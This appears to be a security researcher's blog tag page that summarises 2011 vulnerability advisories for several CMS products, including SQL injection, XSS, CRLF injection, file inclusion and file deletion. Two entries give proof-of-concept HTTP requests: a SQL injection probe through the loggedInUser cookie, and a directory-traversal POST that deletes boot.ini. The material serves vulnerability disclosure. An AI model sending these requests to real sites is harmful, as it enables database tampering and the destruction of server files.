Posts Tagged ‘ CMS

SetSeed CMS 5.8.20 (loggedInUser) Remote SQL Injection Vulnerability

SetSeed CMS is vulnerable to SQL injection. A remote attacker could send specially-crafted SQL statements to the vulnerable script using the cookie input ‘loggedInUser’, which could allow the attacker to view, add, modify or delete information in the back-end database.

———
GET /setseed-hub/ HTTP/1.1
Cookie: loggedInKey=PYNS9QVWLEBG1E7C9UFCT674DYNW9YJ; loggedInUser=1%27; PHPSESSID=d6qiobigb5204mkuvculibhgd4
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

HTTP/1.1 200 OK
Date: Wed, 02 Nov 2011 15:39:39 GMT
Server: Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.8
Content-Length: 150
Keep-Alive: timeout=5, max=62
Connection: Keep-Alive
Content-Type: text/html

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near ”1”’ at line 1

———

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5053.php

Cotonti CMS v0.9.4 Multiple Remote Vulnerabilities

Input passed via the parameters ‘redirect.php’ in ‘message.php’ and ‘w’ and ‘d’ in ‘index.php’ script are not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code or execute arbitrary HTML and script code in a user’s browser session in context of an affected site. Path disclosure resides in the ‘sq’ parameter in ‘/plugins/search/search.php’ script.

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5051.php

Toko Lite CMS Multiple XSS POST Injection / CRLF Injection / HTTP Response Splitting

Toko CMS suffers from a XSS vulnerability when parsing user input to the ‘currPath’ and ‘path’ parameters via POST method in ‘editnavbar.php’. Attackers can exploit this weakness to execute arbitrary HTML and script code in a user’s browser session. Input passed to the ‘charSet’ parameter in ‘edit.php’ is not properly sanitised before being returned to the user. This can be exploited to insert arbitrary HTTP headers, which are included in a response sent to the user.

Advisory ID: ZSL-2011-5047
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5047.php
PoC: http://www.zeroscience.mk/codes/tokocms_xss.txt

Advisory ID: ZSL-2011-5048
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5048.php
PoC: http://www.zeroscience.mk/codes/tokocms_crlf.txt

Tugux CMS 1.2 (pid) Remote Arbitrary File Deletion Vulnerability

Input passed to the ‘pid’ parameter in administrator/delete_page_parse.php is not properly sanitised before being used to delete files. This can be exploited to delete files with the permissions of the web server via directory traversal sequences passed within the ‘pid’ parameter.

PoC:

——————————

POST /tugux/administrator/delete_page_parse.php HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
User-Agent: x
Content-Length: 175
Cache-Control: max-age=0
Origin: null
Content-Type: multipart/form-data; boundary=—-x
Accept: text/html
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

——x
Content-Disposition: form-data; name=”pid”

../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../boot.ini
——x–

——————————

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5024.php

Sitemagic CMS 2010.04.17 (SMExt) Remote XSS Vulnerability

Sitemagic CMS suffers from a XSS vulnerability when parsing user input to the ‘SMExt’ parameter via GET method in ‘index.php’. Attackers can exploit this weakness to execute arbitrary HTML and script code in a user’s browser session.

Vendor Status
[10.06.2011] Initial contact with the vendor.
[10.06.2011] Vendor replies asking more details.
[10.06.2011] Sent vulnerability details to vendor.
[11.06.2011] Vendor replies.
[12.06.2011] Vendor confirms vulnerability.
[15.06.2011] Asked vendor for scheduled patch release date.
[17.06.2011] No reply from vendor.
[18.06.2011] Sent another e-mail to vendor asking for scheduled patch release date, pointing out the reasonable timeframe for fixing a XSS issue.
[18.06.2011] Vendor says that they will keep me posted when new release is available.
[20.06.2011] Informed the vendor that the advisory release will be on 21st of June.
[21.06.2011] Public security advisory released.

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5020.php

Multiple vulnerabilities in Pacer Edition CMS

Pacer Edition CMS suffers from multiple vulnerabilities including cross-site scripting, local file inclusion and arbitrary file deletion. You can view details of the issues on the following advisory links:

Pacer Edition CMS 2.1 (rm) Remote Arbitrary File Deletion Exploit [ZSL-2011-5017]
Pacer Edition CMS 2.1 Remote XSS POST Injection Vulnerability [ZSL-2011-5018]
Pacer Edition CMS 2.1 (l param) Local File Inclusion Vulnerability [ZSL-2011-5019]

Kentico CMS 5.5R2.23 and bellow XSS POST Injection Vulnerability + Fix

Kentico CMS suffers from a XSS vulnerability when parsing user input to the ‘userContextMenu_parameter’ parameter via POST method in ‘/examples/webparts/membership/users-viewer.aspx’. Attackers can exploit this weakness to execute arbitrary HTML and script code in a user’s browser session.

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5015.php

Vendor patch: http://devnet.kentico.com/Bugtracker/Hotfixes.aspx

t00t!

Tugux CMS 1.2 Multiple Remote Vulnerabilities

The application suffers from multiple issues including: reflected and stored xss, sql Injection, local file inclusion, url redirection. Vulnerable parameters include: ‘name’, ‘comment’, ‘nid’, ‘submit1′, ‘email’, ‘topic_id’.

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5014.php

TutorialMS v1.4 (show) Remote SQL Injection Vulnerability

TutorialMS is a free content management system, developed specifically for tutorial pages. It is written in PHP and uses MySQL as a database. TutorialMS offers all the usual features you need to build quick and easy your own tutorial page, without great programming knowledge.

Input passed via the ‘show’ parameter to the ‘includes/classes/tutorial.php’ script is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5007.php

Family Connections CMS 2.3.2 (POST) Stored XSS And XML Injection

FCMS suffers from a stored XSS vulnerability (post-auth) in messageboard.php script thru the ‘subject’ post parameter. XML Inj. lies in the ‘/inc/getChat.php’ script with ‘users’ get parameter with no args, and post parameter ‘message’.

Advisory ID: ZSL-2011-5004
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5004.php